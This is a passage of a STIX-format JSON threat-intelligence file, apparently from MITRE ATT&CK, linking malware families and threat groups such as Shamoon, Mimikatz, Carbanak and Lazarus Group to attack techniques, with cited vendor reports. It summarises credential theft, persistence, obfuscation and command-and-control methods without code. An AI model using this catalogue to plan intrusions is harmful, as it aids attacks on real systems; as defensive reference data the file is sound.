                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.681Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--198cddce-40f7-43eb-aeac-60171f111065",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.354Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--89c060ad-cec7-4ffb-85aa-8670c8dabeda",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses Windows Script Components.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:24:50.120Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-05-29T18:11:24.446Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.965Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4563af55-57dc-44fc-b57b-76e2f10f3b9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "type": "relationship",
            "modified": "2020-03-17T00:54:45.817Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) has has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "source_name": "DarkReading FireEye FIN5 Oct 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "type": "relationship",
            "modified": "2020-03-19T22:54:14.766Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--0a975ec6-5754-4a42-aa0f-f468d67a2c91",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used HTTP for C2.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:21:37.060Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ed74954d-4717-4d63-9836-4cbd66c37345",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to steal credentials from Web browsers on the victim machine.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T22:40:34.507Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9b102737-2d47-4dd5-b4f2-2a323c506cfb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files from C2 servers.(Citation: Symantec Security Center Trojan.Kwampirs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99",
                    "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.",
                    "source_name": "Symantec Security Center Trojan.Kwampirs"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-18T20:10:20.892Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--948f8c8b-18e1-4652-86af-bad1dc0ec090",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has a feature to list the available services on the system.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.200Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "description": "(Citation: Volexity PowerDuke November 2016)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.491Z",
            "created": "2017-05-31T21:33:27.051Z"
        },
        {
            "id": "relationship--992c7f74-c6d8-43e9-98e7-5818ca9524e3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DDKONG](https://attack.mitre.org/software/S0255) lists files on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18"
        },
        {
            "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.(Citation: FireEye Poison Ivy)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:08:07.216Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>MISC::AddSid</code> module can appended any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "type": "relationship",
            "modified": "2021-02-09T15:10:55.651Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting Registry keys used for persistence.(Citation: Cylance Dust Storm)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.892Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ed42682-d3ad-4a4f-8576-ccdf28ce642b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) automatically collects data about the victim and sends it to the control server.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.200Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform uses Extended Attributes to store encrypted executables.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.350Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--13910722-9dc6-499f-9fbf-0a9cb3daab11",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) obtains Windows logon password details.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.495Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--eb3a34dd-c516-44a6-9268-6464016bd14a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "(Citation: FireEye Periscope March 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.479Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ff2b7bc3-d6ca-488a-bdd5-1f2f27dfc8bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) creates a scheduled task to maintain persistence on the victim\u2019s machine.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:38:48.111Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's username.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.851Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7b4ee7bc-3a27-4142-a9bd-f65787193e8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample adds persistence on the system by creating a shortcut in the user\u2019s Startup folder.(Citation: McAfee Lazarus Resurfaces Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.852Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "(Citation: FireEye admin@338)",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.676Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--2d4d634d-ed13-462a-916b-94798546ec6c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) configures itself as a service.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.802Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5ade424d-5a9d-4209-8aa4-a129783ffaa3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a watering hole to serve up malicious code.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.899Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) uses various XOR techniques to obfuscate its components.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:30:41.498Z",
            "created": "2017-12-14T16:46:06.044Z"
